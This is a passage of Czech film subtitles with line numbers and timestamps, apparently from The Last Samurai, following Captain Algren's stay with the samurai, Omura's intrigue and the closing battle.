Co to děláte? Proč vedeme tyhle „konverzace“? 373 00:52:16,442 --> 00:52:18,751 Co tady sakra dělám? 374 00:52:24,074 --> 00:52:28,670 Na jaře sníh roztaje a soutěsky se otevřou. 375 00:52:30,998 --> 00:52:34,149 Do té doby budete zde. 376 00:52:35,544 --> 00:52:38,297 Na shledanou, kapitáne. 377 00:52:59,443 --> 00:53:03,800 1876, neznámého dne i měsíce. 378 00:53:05,616 --> 00:53:09,325 Stále žiji mezi těmito neobyčejnými lidmi. 379 00:53:10,579 --> 00:53:14,094 Jsem jejich zajatec v tom smyslu, že nemohu utéct. 380 00:53:15,709 --> 00:53:19,179 Většinou se mnou jednají s lehkou přezíravostí. 381 00:53:19,463 --> 00:53:23,456 Jako bych byl zatoulaný pes nebo nevítaný host. 382 00:53:35,771 --> 00:53:39,605 Všichni jsou zdvořilí. Každý se usmívá a uklání. 383 00:53:40,609 --> 00:53:44,887 Za jejich zdvořilostí jsem objevil pestrou škálu pocitů. 384 00:54:25,404 --> 00:54:27,281 Jsou to fascinující lidé. 385 00:54:27,823 --> 00:54:33,102 Hned od rána se zdokonalují v tom, čemu se právě věnují. 386 00:54:42,379 --> 00:54:45,689 Ještě jsem neviděl takovou sebekázeň. 387 00:54:46,342 --> 00:54:50,460 S překvapením jsem se dozvěděl, že „samuraj“ znamená „sloužit“. 388 00:54:50,763 --> 00:54:54,676 Kacumoto věří, že svou vzpourou slouží císaři. 389 00:56:57,056 --> 00:57:00,207 Prosím promiňte. Moc věcí v mysli. 390 00:57:01,060 --> 00:57:02,573 Moc věcí v mysli? 391 00:57:03,354 --> 00:57:09,065 Mysl meč, mysl diváci, mysl nepřítel. Moc věcí. 392 00:57:12,363 --> 00:57:14,081 Prázdná mysl. 393 00:57:15,616 --> 00:57:17,254 Prázdná mysl. 394 00:57:46,563 --> 00:57:49,282 Děkuji. Ještě rýži? 395 00:57:51,110 --> 00:57:54,261 Tako, promluvil japonsky. 396 00:57:55,239 --> 00:57:58,276 Jezte hodně. Nebuďte zdvořilý. 397 00:57:58,701 --> 00:58:01,135 Ne tak rychle. Co je tohle? 398 00:58:05,874 --> 00:58:06,863 Jak to, že rozumí? 399 00:58:11,547 --> 00:58:12,946 Uzel. 400 00:58:17,386 --> 00:58:19,422 Ne tak rychle. 401 00:58:23,058 --> 00:58:24,935 Já jsem Algren. 402 00:58:31,859 --> 00:58:33,292 Nobutada. 403 00:58:34,945 --> 00:58:36,094 Magodžiro. 404 00:58:37,614 --> 00:58:38,683 Higen. 405 00:58:44,330 --> 00:58:45,558 Taka. 406 00:58:48,000 --> 00:58:52,073 Prosím, ať odejde. Nesnesu to. 407 00:58:52,921 --> 00:58:54,479 Odpuzuje tě? 408 00:58:54,840 --> 00:58:57,798 Ta hanba je nesnesitelná. Dovol mi vzít si život. 409 00:58:58,344 --> 00:59:00,300 Budeš dělat, co ti řeknu. 410 00:59:06,602 --> 00:59:09,275 Mám radši pomstít tvého muže? 411 00:59:09,772 --> 00:59:10,761 Ano. 412 00:59:14,985 --> 00:59:17,943 Hirotaró se ho snažil zabít. Byla to karma. 413 00:59:18,280 --> 00:59:19,395 Já vím. 414 00:59:24,036 --> 00:59:25,515 Odpusť mi moji slabost. 415 00:59:26,288 --> 00:59:29,963 Musí tady být z nějakého důvodu. 416 00:59:32,795 --> 00:59:35,673 Je to nad mé chápání. 417 00:59:54,900 --> 00:59:56,777 Je ke mně velmi laskavá. 418 00:59:57,861 --> 01:00:01,649 Je poctěna, že má mého hosta ve svém domě. 419 01:00:26,307 --> 01:00:31,097 Zima 1877. Co to znamená být samuraj? 420 01:00:32,104 --> 01:00:35,983 Plně se zasvětit souboru morálních principu? 421 01:00:36,317 --> 01:00:38,512 Hledat klid duše? 422 01:00:39,778 --> 01:00:42,167 Ovládat bojové umění? 423 01:00:43,198 --> 01:00:44,597 Lepší se, že? 424 01:00:46,702 --> 01:00:48,693 Pořád je tak ošklivý. 425 01:00:57,504 --> 01:00:59,176 Zima? 426 01:01:10,684 --> 01:01:12,720 Taky je mi zima. 427 01:01:13,103 --> 01:01:14,900 Oheň. 428 01:01:23,113 --> 01:01:24,546 Hořet. 429 01:01:43,092 --> 01:01:44,445 Ne, prosím. 430 01:01:46,637 --> 01:01:48,514 Japonští muži s tímto nepomáhají. 431 01:01:49,765 --> 01:01:52,962 Já nejsem Japonec. 432 01:02:23,757 --> 01:02:25,554 Omlouvám se. 433 01:02:34,393 --> 01:02:37,146 Za vašeho muže. Hirotaróa. 434 01:02:50,284 --> 01:02:54,357 Konal svou povinnost. 435 01:02:58,667 --> 01:03:02,376 Taky jste konal svou povinnost. 436 01:03:07,760 --> 01:03:11,469 Přijímám vaši omluvu. 437 01:03:29,573 --> 01:03:31,848 Jaro, 1877. 438 01:03:32,868 --> 01:03:37,578 Tak dlouho jsem na jednom místě nezůstal od svých sedmnácti. 439 01:03:41,418 --> 01:03:45,047 Je tady toho tolik, co nikdy nepochopím. 440 01:03:49,176 --> 01:03:51,815 Nikdy jsem nebyl moc zbožný. 441 01:03:52,054 --> 01:03:56,332 To, co jsem viděl na bojišti, otřáslo mou vírou v Boží záměr. 442 01:03:56,642 --> 01:04:00,760 Ale tady je opravdu cosi duchovního. 443 01:04:05,442 --> 01:04:11,199 Možná mi to navždy zůstane skryto, přesto tuto moc vnímám. 444 01:04:21,000 --> 01:04:25,835 Ale vím, že tady jsem po mnoha letech spal zase klidně. 445 01:04:29,508 --> 01:04:31,817 Chytněte ten míč. 446 01:04:32,177 --> 01:04:34,645 Ne mě. Ten míč. 447 01:04:44,940 --> 01:04:47,135 Udžio vyhraje ve třech krocích. 448 01:04:50,154 --> 01:04:51,223 V pěti. 449 01:05:06,045 --> 01:05:07,319 Další v pěti. 450 01:05:09,506 --> 01:05:10,655 V šesti. 451 01:05:29,943 --> 01:05:31,695 Prázdná mysl. 452 01:06:37,553 --> 01:06:38,588 Nerozhodně. 453 01:07:22,514 --> 01:07:23,993 Co je to za amatéra? 454 01:08:27,037 --> 01:08:28,265 Kacumoto! 455 01:08:32,626 --> 01:08:35,345 Chraňte Kacumota Chraňte pána 456 01:09:13,709 --> 01:09:16,143 Pane, běžte dovnitř, prosím. 457 01:11:55,663 --> 01:11:58,814 Dokonalý květ je vzácný. 458 01:11:59,083 --> 01:12:03,838 Mohl byste ho hledat celý život a nebyla by to ztráta času. 459 01:12:04,922 --> 01:12:09,120 - Kdo na vás poslal ty muže? - Píši báseň o svém snu. 460 01:12:10,636 --> 01:12:16,586 „Máme stejné tygří oči, ale on přichází přes rozbouřené moře.“ 461 01:12:17,893 --> 01:12:19,451 Byl to císař? 462 01:12:21,563 --> 01:12:22,882 Omura? 463 01:12:23,065 --> 01:12:27,502 Kdyby si přál císař mou smrt, stačilo by mu jediné slovo. 464 01:12:27,861 --> 01:12:29,579 Takže to byl Omura. 465 01:12:30,197 --> 01:12:34,509 Nedaří se mi báseň dokončit. Pomůžete mi s posledním veršem? 466 01:12:35,285 --> 01:12:36,479 Nejsem spisovatel. 467 01:12:36,745 --> 01:12:41,182 Přesto jste od svého příchodu popsal už mnoho stran. 468 01:12:43,919 --> 01:12:45,557 Co vám ještě řekla? 469 01:12:48,007 --> 01:12:49,725 Máte noční můry. 470 01:12:53,012 --> 01:12:57,449 - To má každý voják. - Jen ten, kdo se za sebe stydí. 471 01:12:58,684 --> 01:13:01,721 Nemáte potuchy, co jsem spáchal. 472 01:13:09,361 --> 01:13:11,829 Viděl jste toho hodně. 473 01:13:13,532 --> 01:13:16,365 - Ano. - Nebojíte se smrti. 474 01:13:16,952 --> 01:13:20,627 Ale někdy po ní toužíte. Je to tak? 475 01:13:24,001 --> 01:13:26,231 - Ano. - Já také. 476 01:13:27,588 --> 01:13:31,467 Mužům, kteří viděli to co my, se to stává. 477 01:13:32,092 --> 01:13:38,611 Pak přijdu sem, na místo mých předků, a vzpomenu si. 478 01:13:40,017 --> 01:13:44,647 Stejně jako tyto květiny všichni umíráme. 479 01:13:46,940 --> 01:13:52,697 Rozpoznat život v každém výdechu, v každém šálku čaje, 480 01:13:53,530 --> 01:13:56,442 v každém životě, který bereme. 481 01:13:56,909 --> 01:14:01,585 - Cesta bojovníka. - Život v každém výdechu. 482 01:14:02,581 --> 01:14:05,049 To je bušidó. 483 01:14:09,171 --> 01:14:12,720 Císař zaručil bezpečnou cestu do Tokia. 484 01:14:13,425 --> 01:14:15,336 Zítra odjíždíme. 485 01:14:18,430 --> 01:14:19,658 Dobře. 486 01:14:20,849 --> 01:14:22,043 Dobře. 487 01:14:28,857 --> 01:14:33,408 Když jsem vám sebral tohle, byl jste můj nepřítel. 488 01:14:54,591 --> 01:14:55,990 Omlouvám se. 489 01:14:58,053 --> 01:15:01,011 Ne, promiňte, jsem skoro hotová. 490 01:15:19,158 --> 01:15:20,876 Musím odjet. 491 01:15:43,182 --> 01:15:45,821 Byla jste ke mně laskavá. 492 01:15:49,355 --> 01:15:51,311 Nezapomenu. 493 01:16:17,800 --> 01:16:20,553 Pane Algrene. 494 01:19:15,644 --> 01:19:17,635 Algrene? 495 01:19:17,896 --> 01:19:20,535 Proboha, opravdu žiješ. 496 01:19:24,486 --> 01:19:26,522 Jsi plný překvapení. 497 01:19:27,740 --> 01:19:29,093 Houfnice. 498 01:19:29,867 --> 01:19:31,186 Ano. 499 01:19:31,660 --> 01:19:35,938 Jakmile císař podepíše smlouvu, dostane celou zásilku. 500 01:19:36,665 --> 01:19:38,735 Včetně téhle speciality. 501 01:19:39,001 --> 01:19:40,673 200 výstřelu za minutu. 502 01:19:40,919 --> 01:19:43,877 Nové náboje snížily možnost zaseknutí. 503 01:19:44,173 --> 01:19:45,925 Potřebuji se vykoupat. 504 01:19:46,133 --> 01:19:49,967 Vzhledem k tomu, že jsi žil s těmi divochy, to chápu. 505 01:19:51,138 --> 01:19:53,174 Vítej zpátky, kapitáne. 506 01:20:02,301 --> 01:20:05,259 Postavil ses proti mně, učiteli. 507 01:20:05,513 --> 01:20:08,471 Ne. Bojuji s vašimi nepřáteli. 508 01:20:09,183 --> 01:20:12,778 Jsou to moji rádci, jako ty. 509 01:20:13,271 --> 01:20:15,910 Sledují vlastní zájmy. 510 01:20:16,941 --> 01:20:21,810 Potřebuji rádce, kteří znají moderní svět. 511 01:20:22,613 --> 01:20:27,084 Jestli mě už nepotřebujete, rád ukončím svůj život. 512 01:20:28,744 --> 01:20:30,018 Ne. 513 01:20:30,913 --> 01:20:33,473 Potřebuji tvůj hlas v radě. 514 01:20:34,041 --> 01:20:35,952 My potřebujeme váš hlas, výsosti. 515 01:20:37,003 --> 01:20:40,359 Jste bůh na zemi. Konejte, jak uznáte za správné. 516 01:20:40,631 --> 01:20:43,748 Jsem bůh na zemi, dokud dělám to, 517 01:20:44,677 --> 01:20:48,033 co oni považují za správné. 518 01:20:49,390 --> 01:20:51,381 To jsou smutná slova. 519 01:20:52,018 --> 01:20:55,135 Odpusťte. Říkám to, co učitel musí. 520 01:20:56,480 --> 01:20:58,550 Zapomněl jste na svůj lid? 521 01:21:01,652 --> 01:21:03,483 Řekni mi, co mám dělat, 522 01:21:05,281 --> 01:21:06,430 můj učiteli. 523 01:21:09,410 --> 01:21:13,767 Vy jste císař, můj pane, ne já. 524 01:21:15,499 --> 01:21:19,174 Musíte najít moudrost i za nás. 525 01:21:24,425 --> 01:21:26,700 Pojďte dál, pánové. 526 01:21:27,470 --> 01:21:31,782 Zdá se, že jste velice dobře snášel své zajetí. 527 01:21:33,226 --> 01:21:34,784 Zacházeli se mnou dobře, pane. 528 01:21:34,977 --> 01:21:38,287 Pane Omuro, mám tady návrh smlouvy ohledně dodávky zbraní. 529 01:21:38,564 --> 01:21:42,273 Rád se dozvím, kolik samurajů se přidalo ke Kacumotovi. 530 01:21:42,568 --> 01:21:44,047 Obávám se, že to nevím. 531 01:21:44,237 --> 01:21:47,434 - Strávil jste u něho celou zimu. - Jako zajatec. 532 01:21:47,698 --> 01:21:51,930 Opevnil se? Zajistil si zbraně? No tak, řekni nám, co jsi viděl. 533 01:21:52,245 --> 01:21:56,716 Jak jsi říkal, jsou to divoši s luky a šípy. 534 01:21:57,583 --> 01:21:58,902 Pane, ohledně ... 535 01:21:59,085 --> 01:22:02,634 Dokumenty jsou jistě v pořádku, pane velvyslanče, děkuji vám. 536 01:22:02,922 --> 01:22:06,312 Nechte mi je na stole, ve vhodný okamžik se na ně podívám. 537 01:22:06,592 --> 01:22:10,631 S veškerou úctou, pane, prezidentovi dochází trpělivost. 538 01:22:10,972 --> 01:22:13,281 Možná bychom se měli obrátit na někoho jiného. 539 01:22:13,683 --> 01:22:18,632 S veškerou úctou, možná bychom to měli udělat my. 540 01:22:19,188 --> 01:22:24,023 Na Francouze nebo Angličany nebo na další, kteří čekají vedle. 541 01:22:24,443 --> 01:22:28,721 Budeme se těšit na vaši odpověď. 542 01:22:30,866 --> 01:22:33,938 Na shledanou, pánové. Kapitáne Algrene. 543 01:22:34,829 --> 01:22:38,538 Mohli bychom si promluvit o samotě? Posaďte se. 544 01:22:43,004 --> 01:22:46,121 - Mohu vám nabídnout whisky? - Ne, děkuji. 545 01:22:52,430 --> 01:22:55,422 Kacumoto je výjimečný muž, že? 546 01:22:55,683 --> 01:22:59,358 Je to kmenový vůdce. Takových jsem poznal už hodně. 547 01:22:59,687 --> 01:23:04,283 Ale žádného samuraje. Jejich způsoby mají veliký půvab. 548 01:23:04,734 --> 01:23:06,690 Nechápu, jak se to týká mě. 549 01:23:07,403 --> 01:23:13,273 Ale ano. Měl jste pravdu. Loni jsme nebyli připraveni. 550 01:23:14,201 --> 01:23:16,874 Měl jste pravdu a plukovník Bagley se mýlil. 551 01:23:17,121 --> 01:23:19,032 Ale teď připraveni jsme. 552 01:23:19,248 --> 01:23:24,606 Kacumoto získá další samuraje a vzpoura bude trvat 10 let. 553 01:23:25,713 --> 01:23:27,431 To nedovolím. 554 01:23:27,798 --> 01:23:33,156 Zastavím ho dnes v radě nebo proti němu povedete mé vojsko. 555 01:23:33,554 --> 01:23:36,830 S novými zbraněmi ho zničíte. 556 01:23:39,477 --> 01:23:42,514 - Oceňuji vaši nabídku. - To není nabídka. 557 01:23:43,773 --> 01:23:47,812 Podepsali jsme smlouvu, že vycvičím vaši armádu. 558 01:23:48,110 --> 01:23:50,146 Podepíšeme jinou. 559 01:23:50,613 --> 01:23:54,811 Která ocení váš neobyčejný přínos pro císaře. 560 01:23:56,452 --> 01:23:57,851 Rozumíme si? 561 01:24:01,290 --> 01:24:02,928 Naprosto. 562 01:24:03,960 --> 01:24:05,313 To mě těší. 563 01:24:12,927 --> 01:24:14,645 Sledujte ho. 564 01:24:14,845 --> 01:24:18,076 Přiblíží-li se ke Kacumotovi, zabijte ho. 565 01:24:23,604 --> 01:24:28,120 Kapitáne Algrene. Co se děje? Mezi diplomaty koluje hodně řečí. 566 01:24:28,442 --> 01:24:30,478 Omura prosadil zákony proti samurajům. 567 01:24:30,695 --> 01:24:32,367 Potřebuji se napít. 568 01:24:32,863 --> 01:24:36,902 Chce se opravdu Kacumoto postavit odpoledne radě? 569 01:24:37,535 --> 01:24:43,405 Hej, samuraji. Neznáš nařízení? 570 01:24:44,458 --> 01:24:45,686 Proboha, už to začalo. 571 01:24:45,918 --> 01:24:48,068 Posloucháš, chlapče? 572 01:24:49,672 --> 01:24:51,549 Jste cizincům pro smích. 573 01:24:51,757 --> 01:24:56,273 - Uřízni mu ten uzel. - Na kolena. 574 01:24:57,471 --> 01:25:01,066 Skloňte zbraně. 575 01:25:03,185 --> 01:25:04,174 Kdo jste? 576 01:25:04,353 --> 01:25:06,264 Jsem kapitán Algren. 577 01:25:07,648 --> 01:25:08,922 Nech toho. 578 01:25:33,549 --> 01:25:35,028 Klekni si. 579 01:25:50,149 --> 01:25:51,741 Půjdeme. 580 01:26:08,209 --> 01:26:10,165 Zavedu tě domu. 581 01:26:11,337 --> 01:26:12,850 Výborně. 582 01:26:40,074 --> 01:26:42,269 Západu se ubráníme tak, 583 01:26:42,493 --> 01:26:44,449 že sami budeme mocní. 584 01:26:44,662 --> 01:26:48,541 Vojensky i hospodářsky. 585 01:26:52,253 --> 01:26:55,370 Pane ministře, jaká čest. 586 01:26:58,009 --> 01:27:00,603 Je pro mě ctí účastnit se rady. 587 01:27:05,057 --> 01:27:07,969 Nevíte, že zákon zakazuje nosit meč? 588 01:27:08,519 --> 01:27:10,350 Každý zákon pečlivě studuji. 589 01:27:10,813 --> 01:27:14,010 Přesto sem vcházíte ozbrojen? 590 01:27:17,445 --> 01:27:20,642 Můj meč tuto místnost chránil ... 591 01:27:20,907 --> 01:27:24,422 Nepotřebujeme ochranu. Teď jsme právní stát. 592 01:27:24,869 --> 01:27:27,429 Jsme stát prodejných děvek ... 593 01:27:27,788 --> 01:27:32,304 Jestli jsme, tak kvůli samurajům. 594 01:27:32,793 --> 01:27:36,706 Omurova rodina, pokud vím, nedarovala žádné zlato lidu. 595 01:27:40,635 --> 01:27:43,593 Bohužel vás musím požádat, 596 01:27:44,597 --> 01:27:46,667 abyste odložil meč. 597 01:27:51,771 --> 01:27:53,489 Tento meč slouží císaři. 598 01:27:53,689 --> 01:27:55,680 Jen on mi to muže poručit. 599 01:28:18,965 --> 01:28:23,322 Císařův hlas je příliš ryzí, aby ho v radě bylo slyšet. 600 01:28:25,137 --> 01:28:28,334 Pak odmítám odložit meč. 601 01:28:34,063 --> 01:28:37,055 Mé stráže vás doprovodí do vašeho domu v Tokiu. 602 01:28:37,650 --> 01:28:40,448 Tam počkáte, až vás předvoláme. 603 01:29:04,719 --> 01:29:06,710 Slyšel jsem, že odjíždíš. 604 01:29:08,347 --> 01:29:13,421 Omura ti nabídl mou práci a ty utíkáš. Mám ti asi poděkovat. 605 01:29:15,187 --> 01:29:20,978 500 dolaru za měsíc, včetně doplatku za dobu v zajetí. 606 01:29:23,487 --> 01:29:27,241 Dost na to, aby ses po zbytek života ponořil do lahve. 607 01:29:30,453 --> 01:29:31,727 Pro mě za mě. 608 01:29:37,043 --> 01:29:39,398 Stejně je to už vyřízené. 609 01:29:39,712 --> 01:29:43,785 Kacumota zatkli. Omura ho nenechá přežít noc. 610 01:29:44,217 --> 01:29:49,450 Po jeho smrti si se vzbouřenci poradíme snadno i bez tebe. 611 01:29:54,977 --> 01:29:56,774 Zvlášť bez tebe. 612 01:30:02,193 --> 01:30:03,467 Řekni mi jedno. 613 01:30:05,154 --> 01:30:09,113 Co tak strašně nenávidíš na vlastních lidech? 614 01:31:01,836 --> 01:31:04,191 Ušetřete nám námahu. 615 01:33:54,091 --> 01:33:56,321 Samurajové jsou vyřízení. 616 01:34:22,662 --> 01:34:24,812 Zastavte. Nepřibližujte se. 617 01:34:25,289 --> 01:34:27,564 Hlavně nezastavujte. 618 01:34:27,792 --> 01:34:32,707 Ministr Omura nám přikázal vyfotografovat zrádce. 619 01:34:33,089 --> 01:34:34,568 Stůjte. Pojďte sem někdo. 620 01:34:35,049 --> 01:34:37,563 Přineste sem ihned to vybavení. 621 01:34:37,843 --> 01:34:39,834 Zastavte. 622 01:34:40,137 --> 01:34:44,255 Ty drzý pse. 623 01:34:46,352 --> 01:34:50,584 Tasíš meč v jeho přítomnosti? Víš, kdo to je? 624 01:34:51,065 --> 01:34:53,420 Je to americký prezident. 625 01:34:53,859 --> 01:34:57,932 Povede nás proti vzbouřencům. 626 01:34:58,990 --> 01:35:00,821 Já za to nemůžu. 627 01:35:01,033 --> 01:35:04,423 Ihned jim běž pomoct. 628 01:35:07,582 --> 01:35:09,300 Odneste to vybavení. 629 01:35:13,713 --> 01:35:16,352 - Americký prezident? - Promiňte. 630 01:35:16,799 --> 01:35:18,471 Asi budu zvracet. 631 01:35:36,736 --> 01:35:39,091 Jak pokračuje báseň? 632 01:35:41,407 --> 01:35:43,363 Těžko se mi hledá závěr. 633 01:35:44,243 --> 01:35:47,758 Tohle je pan Simon Graham. Rád by si vás vyfotografoval. 634 01:35:49,832 --> 01:35:51,868 Myslel jsem, že jste se vrátil domů. 635 01:35:52,168 --> 01:35:56,525 Rozhodl jsem se zůstat. Zjistit, jestli vás přemluvím k útěku. 636 01:35:57,089 --> 01:35:58,807 Jak to chcete udělat? 637 01:36:08,059 --> 01:36:09,378 Pane Grahame? 638 01:36:09,644 --> 01:36:13,239 - Chcete vyfotit mou vesnici? - Bylo by mi ctí. 639 01:37:34,812 --> 01:37:37,280 Můj pane, ne. 640 01:37:37,899 --> 01:37:39,014 Nobutado. 641 01:38:24,153 --> 01:38:27,304 Otče, dovol mi zůstat. 642 01:38:31,118 --> 01:38:32,597 Můj čas nadešel. 643 01:38:46,300 --> 01:38:50,054 Můj pane, musíme jít. 644 01:40:12,929 --> 01:40:15,966 Císař mě nechtěl vyslechnout. 645 01:40:18,142 --> 01:40:20,212 Jeho vojsko přijde. 646 01:40:21,896 --> 01:40:23,215 Je konec. 647 01:40:26,359 --> 01:40:29,988 900 let moji předkové chránili náš lid. 648 01:40:32,698 --> 01:40:36,407 Já jsem selhal. 649 01:40:48,297 --> 01:40:50,447 Chcete si vzít život? 650 01:40:53,636 --> 01:40:55,388 V hanbě? 651 01:40:59,642 --> 01:41:06,195 Stydíte se snad za život věnovaný službě? Kázni? Soucitu? 652 01:41:07,900 --> 01:41:12,337 - Samurajové už nejsou zapotřebí. - Zapotřebí? 653 01:41:16,033 --> 01:41:18,786 Co může být víc zapotřebí? 654 01:41:22,415 --> 01:41:24,406 Zemřu mečem. 655 01:41:27,837 --> 01:41:31,955 Svým mečem nebo mečem svých nepřátel. 656 01:41:33,467 --> 01:41:36,425 Ať je to meč vašich nepřátel. 657 01:41:39,181 --> 01:41:43,811 Společně přinutíme císaře, aby vás vyslechl. 658 01:42:10,838 --> 01:42:14,433 Byl to dobrý muž. 659 01:42:17,929 --> 01:42:20,045 Budeš taky bojovat s bílými? 660 01:42:20,306 --> 01:42:25,426 Jestli sem přijdou, tak ano. 661 01:42:27,688 --> 01:42:28,837 Proč? 662 01:42:31,859 --> 01:42:38,617 Protože přijdou zničit to, co jsem si zamiloval. 663 01:42:50,419 --> 01:42:58,178 Cesta samuraje je pro něho těžká. Chybí mu otec. 664 01:42:59,887 --> 01:43:07,726 Zlobí se, protože za to můžu já. 665 01:43:12,775 --> 01:43:18,725 Ne, bojí se, že taky umřete. 666 01:43:39,343 --> 01:43:44,098 Otec mě učil, že je krásné zemřít v boji. 667 01:43:48,936 --> 01:43:55,614 Věřil tomu. 668 01:43:58,779 --> 01:44:00,531 Bál bych se zemřít v boji. 669 01:44:02,575 --> 01:44:03,724 Já také. 670 01:44:06,245 --> 01:44:08,475 Ale ty jsi už mockrát bojoval. 671 01:44:10,541 --> 01:44:13,374 A vždycky jsem se bál. 672 01:44:21,093 --> 01:44:22,446 Nechci, abys odešel. 673 01:44:26,265 --> 01:44:27,380 Už jdou. 674 01:44:57,004 --> 01:45:00,838 Tak dva celé pluky. Bude jich kolem tisíce. 675 01:45:01,926 --> 01:45:03,564 Mají houfnice. 676 01:45:03,803 --> 01:45:07,716 Na tom nezáleží. Přijdou a my se jim postavíme. 677 01:45:08,099 --> 01:45:12,695 - Kolik mužů máme? - Možná 500. Jako generál Custer. 678 01:45:17,817 --> 01:45:21,207 Kdysi se odehrála bitva u Thermopyl. 679 01:45:22,280 --> 01:45:25,795 300 statečných Řeku zadrželo milionové perské vojsko. 680 01:45:26,158 --> 01:45:28,308 Rozumíte tomuhle číslu? 681 01:45:28,536 --> 01:45:30,174 Ano, rozumím. 682 01:45:30,997 --> 01:45:33,386 Řekové je dva dny nechali platit velmi draze. 683 01:45:33,624 --> 01:45:37,981 Peršané ztratili chuť k boji a byli krátce nato zastaveni. 684 01:45:39,046 --> 01:45:42,322 - Co máte na mysli? - Zbavíme je výhody zbraní. 685 01:45:42,967 --> 01:45:45,435 Příliš si věří. Toho využijeme. 686 01:45:45,803 --> 01:45:49,512 Přilákáme je blízko. Na vzdálenost meče. 687 01:45:51,517 --> 01:45:55,590 Myslíte, že člověk může změnit svůj osud? 688 01:45:58,858 --> 01:46:04,091 Podle mě člověk dělá, co muže, dokud se jeho osud neodhalí. 689 01:46:11,871 --> 01:46:13,987 25. května 1877 690 01:46:15,750 --> 01:46:18,503 Toto je poslední záznam v deníku. 691 01:46:19,003 --> 01:46:22,996 Snažil jsem se pravdivě popsat, co jsem viděl a udělal. 692 01:46:24,175 --> 01:46:27,611 Nepředstírám, že rozumím běhu svého života. 693 01:46:28,346 --> 01:46:32,055 Jsem ale vděčný, že jsem se toho všeho mohl účastnit. 694 01:46:32,642 --> 01:46:34,394 I když jen chvíli. 695 01:48:27,131 --> 01:48:31,090 Pane Algrene, pojďte se mnou. 696 01:48:48,653 --> 01:48:52,123 Bude nám ctí, když ponesete tuto zbroj. 697 01:51:50,543 --> 01:51:52,773 Budete to potřebovat. 698 01:52:05,182 --> 01:52:06,695 Co se tam píše? 699 01:52:07,602 --> 01:52:13,279 „Náležím bojovníkovi, ve kterém se dávná cesta spojila s novou.“ 700 01:53:17,129 --> 01:53:18,528 Můj Bože. 701 01:53:23,135 --> 01:53:27,492 Pane, císařské vojsko Japonska vás vyzývá ke kapitulaci. 702 01:53:27,807 --> 01:53:30,480 Jestli složíte zbraně, nic se vám nestane. 703 01:53:30,726 --> 01:53:33,923 To není možné, jak pan Omura ví. 704 01:53:39,193 --> 01:53:42,947 Kapitáne Algrene, nebudeme s tebou mít slitování. 705 01:53:43,364 --> 01:53:45,832 Vyrazíš proti nám a patříš mezi ně. 706 01:53:47,034 --> 01:53:48,865 Najdu si tě na bojišti. 707 01:54:09,765 --> 01:54:11,437 Kapitáne Algrene. 708 01:54:11,684 --> 01:54:13,163 Pane Grahame. 709 01:54:17,481 --> 01:54:20,200 Možná vám pomůžou s vaší knihou. 710 01:54:21,068 --> 01:54:23,298 To jistě. Kapitáne. 711 01:54:26,532 --> 01:54:28,170 Bůh vás ochraňuj. 712 01:54:30,036 --> 01:54:31,628 Pane Grahame. 713 01:54:56,354 --> 01:54:58,709 Asi se nevzdají. 714 01:55:04,570 --> 01:55:07,038 Jsme připraveni? 715 01:55:09,533 --> 01:55:11,410 Zaujměte pozice. 716 01:55:55,162 --> 01:55:56,675 Palte. 717 01:57:13,908 --> 01:57:15,864 Kryjí si ústup. 718 01:57:16,744 --> 01:57:20,293 Ani mocní samurajové nedokážou čelit houfnicím. 719 01:57:20,623 --> 01:57:23,456 - Dejte znamení k útoku. - Raději pošlete vojáky v rojnici. 720 01:57:23,709 --> 01:57:25,586 Hloupost. Přímý útok. 721 01:58:21,601 --> 01:58:22,750 Už jdou. 722 01:58:56,385 --> 01:58:58,023 Počkejte na salvu. 723 01:59:09,899 --> 01:59:11,093 Druhá salva. 724 02:00:06,581 --> 02:00:09,141 - Co to k čertu ...? - Co se děje? 725 02:00:53,878 --> 02:00:55,436 Zastavili útok. 726 02:00:55,671 --> 02:00:57,787 Pošlete tam zbytek pluku. 727 02:01:02,053 --> 02:01:07,002 - Jak dopadli vojáci u Thermopyl? - Zemřeli do posledního muže. 728 02:02:10,288 --> 02:02:11,687 Pane Algrene. 729 02:02:15,001 --> 02:02:16,036 Bobe. 730 02:05:00,583 --> 02:05:03,302 Ten hajzl si myslí, že vyhraje. 731 02:06:08,025 --> 02:06:13,383 Brzy přivedou další dva pluky. Nebudeme schopni je zastavit. 732 02:06:14,949 --> 02:06:16,860 Nemusíte tady zemřít. 733 02:06:20,037 --> 02:06:22,551 Měl jsem zemřít už tolikrát. 734 02:06:23,416 --> 02:06:25,247 Teď zase žijete. 735 02:06:28,004 --> 02:06:29,357 Ano. 736 02:06:32,300 --> 02:06:34,416 Nenastal váš čas. 737 02:06:38,723 --> 02:06:40,839 Ještě není konec. 738 02:07:27,396 --> 02:07:28,829 Co to znamená? 739 02:07:29,106 --> 02:07:30,539 Připravte k palbě děla. 740 02:07:30,900 --> 02:07:32,128 Připravit k palbě. 741 02:07:33,277 --> 02:07:36,986 - Tohle je šílené. Chce zaútočit? - Ano. 742 02:07:45,706 --> 02:07:48,743 Je poražen. Musí přijmout svou hanbu. 743 02:08:00,680 --> 02:08:02,989 Zabijte je. Všechny. 744 02:08:03,432 --> 02:08:04,911 Hned. 745 02:08:09,855 --> 02:08:10,844 Koně. 746 02:09:03,910 --> 02:09:04,945 Pal. 747 02:09:42,114 --> 02:09:43,308 Připravit. 748 02:09:46,744 --> 02:09:47,938 Zamířit. 749 02:09:53,501 --> 02:09:54,616 Pal. 750 02:10:01,092 --> 02:10:02,411 Palte. 751 02:10:48,723 --> 02:10:50,520 Přivezte nové zbraně. 752 02:10:51,601 --> 02:10:53,273 Připravte nové zbraně. 753 02:10:57,773 --> 02:10:58,762 Pal. 754 02:11:05,865 --> 02:11:07,981 Rychle. 755 02:11:11,662 --> 02:11:12,981 Pal. 756 02:12:57,894 --> 02:12:59,247 Přestaňte střílet. 757 02:12:59,687 --> 02:13:01,279 Střílejte, idioti. 758 02:13:01,814 --> 02:13:03,008 Přestaňte střílet. 759 02:13:12,867 --> 02:13:14,300 Ne. 760 02:13:15,536 --> 02:13:18,369 Zabijte Kacumota a Američana. 761 02:13:21,500 --> 02:13:23,968 Znovu jste získal čest. 762 02:13:26,339 --> 02:13:29,058 Nechte mě zemřít se ctí. 763 02:13:38,267 --> 02:13:40,337 Pomozte mi vstát. 764 02:13:59,789 --> 02:14:01,268 Jste připraven? 765 02:14:08,589 --> 02:14:12,662 Budou mi chybět naše konverzace. 766 02:14:58,764 --> 02:15:00,755 Dokonalé. 767 02:15:07,773 --> 02:15:12,801 Všechny jsou dokonalé. 768 02:16:42,118 --> 02:16:45,554 Jménem Spojených státu amerických 769 02:16:46,372 --> 02:16:51,321 podepsání této smlouvy uvede nebývalé období prosperity 770 